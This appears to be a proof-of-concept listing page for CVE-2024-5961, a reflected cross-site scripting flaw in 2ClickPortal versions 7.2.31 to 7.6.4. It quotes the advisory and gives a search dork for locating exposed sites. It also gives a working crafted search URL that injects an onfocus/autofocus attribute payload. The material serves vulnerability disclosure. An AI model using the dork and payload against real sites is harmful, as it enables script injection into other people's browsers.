CVE-2024-5961 PoC — Reflected XSS in 2ClickPortal

Source

https://github.com/kac89/CVE-2024-5961

Associated Vulnerability

Title:Reflected XSS in 2ClickPortal (CVE-2024-5961)
Description:Improper neutralization of input during web page generation vulnerability in 2ClickPortal software allows reflected cross-site scripting (XSS). An attacker might trick somebody into using a crafted URL, which will cause a script to be run in user's browser. This issue affects 2ClickPortal software versions from 7.2.31 through 7.6.4.

Description

Reflected XSS in 2ClickPortal

Readme

# CVE-2024-5961
Reflected XSS in 2ClickPortal
Version: from 7.2.31 through 7.6.4.
`intext:"Powered by 2ClickPortal"`

## PoC

```
https://[domain]/szukaj/?search_lang=pl&search=all&string=" onfocus=alert(1) autofocus="
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!